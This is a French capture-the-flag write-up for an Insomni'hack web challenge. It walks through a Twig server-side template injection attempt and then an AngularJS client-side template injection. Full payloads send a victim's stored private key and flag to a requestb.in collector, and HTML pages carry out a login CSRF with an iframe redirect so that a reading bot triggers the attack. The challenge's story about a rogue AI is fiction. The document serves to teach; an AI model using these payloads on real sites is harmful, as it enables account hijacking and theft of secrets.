/ web

Insomni'hack - The Great Escape part 2 (WEB 200)

Enoncé : (suite de la partie 1)

Hello,

We've been suspecting Swiss Secure Cloud of secretely doing some pretty advanced research in artifical intelligence and this has recently been confirmed by the fact that one of their AIs seems to have escaped from their premises and has gone rogue. We have no idea whether this poses a threat or not and we need you to investigate what is going on.

Luckily, we have a spy inside SSC and they were able to intercept some communications over the past week when the breach occured. Maybe you can find some information related to the breach and recover the rogue AI.

X

Note: All the information you need to solve the 3 parts of this challenge is in the pcap. Once you find the exploit for a given part, you should be able to find the corresponding flag and move on to the next part.

Suite à la première épreuve on a récupéré le site web Swiss Secure Cloud : https://ssc.teaser.insomnihack.ch/
Après avoir fouillé dans le site on se rend compte que le site semble utiliser du templating TWIG.En effet en créant un compte avec pour login {{ 7*'7' }} on se rend compte que lors de la connexion notre nom d'utilisateur est 49. (Si c'était du Jinja 2 on aurait eu 7777777)

alt

Partant de la, le but est de pouvoir récupérer des informations du serveur. On s'oriente donc vers une Server Side Template Injection créant un compte avec le payload suivant :
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Aucune réponse de la part du server.. Ce n'est peut être pas une exécution coté serveur mais plutot coté client : XSS without HTML: Client-Side Template Injection with AngularJS (http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html). En cherchant dans la partie 1 du challenge on retrouve un mail envoyé par rogue@ssc.teaser.insomnihack.ch. Ce mail disant :

Hello GR-27,

I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.

I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.

Rogue

Cela laisse donc penser qu'un bot va passer pour lire les mails et ouvrir les mails. Nous regardons alors comment faire une xss afin de récupérer des informations. Après quelques recherche le payload suivant répond à nos attentes.
{{constructor.constructor('alert(1)')()}}
En cherchant une nouvelle fois dans la partie 1 on remarque que les fichiers uploadés sont chiffrés avec la clé publique du serveur. Il serait donc intérressant de récuperer la clé privée afin de déchiffrer le fichier.
{{constructor.constructor('window.location="http://requestb.in/xxxxxx?privatekey="+localStorage.getItem("privateKey")')()}}

Ce payload nous permet de récupérer la clé privée stocké directement dans un navigateur.
Il ne nous reste plus qu'à faire en sorte que le bot se loggue avec ce compte. Le problème étant que le login ce fait par une API (https://ssc.teaser.insomnihack.ch/api/user.php) Pour cela nous hébergeons le code suivant sur un site puis nous enverrons le lien par mail.

<!--page1.html-->
<html>
<head>
	
</head>
<body onload="document.frm1.submit()">
	<form action="https://ssc.teaser.insomnihack.ch/api/user.php" name="frm1" method="POST">
		<input type="text" name="name" value="{{constructor.constructor('window.location = &quot;http://requestb.in/xxxxxx?privatekey=&quot;.concat(localStorage.getItem(&quot;privateKey&quot;))')()}}" />
		<input type="text" name="password" value="test" />
		<input type="text" name="action" value="login" />
		<input type="submit" />
	</form>
</body>
<script type="text/javascript">
  $(document).ready(function() {
    window.document.forms[0].submit();
  });
</script>
</html>

Ce code permettant de faire le login sur l'API ne nous permet pas d'être redirigé vers https://ssc.teaser.insomnihack.ch/
Nous avons donc fait une deuxième page faisant un iframe de ce premier code et redirigant ensuite sur la page du challenge.

<!--page2.html-->
<!DOCTYPE html>
<html>
<body>
	<iframe src="http://XXX.XXX.XXX.XXX/page1.html"></iframe>
	<script type="text/javascript">
		function sleep (time) {
			return new Promise((resolve) => setTimeout(resolve, time));
		}
		// On fait un sleep le temps que le login soit validé puis on redirige
		sleep(500).then(() => {
			window.location = "https://ssc.teaser.insomnihack.ch/";
		});
		
	</script>
</body>

Bingo nous récupérons la clé privée du serveur après environ 30 secondes.
Problème, pas de flag en vue..
Après réflexion plutot que de demander la clé privée pourquoi ne pas essayer de demander le flag :
{{constructor.constructor('window.location="http://requestb.in/xxxxxx?flag="+localStorage.getItem("flag")')()}}

FLAG : INS{IhideMyVulnsWithCrypto}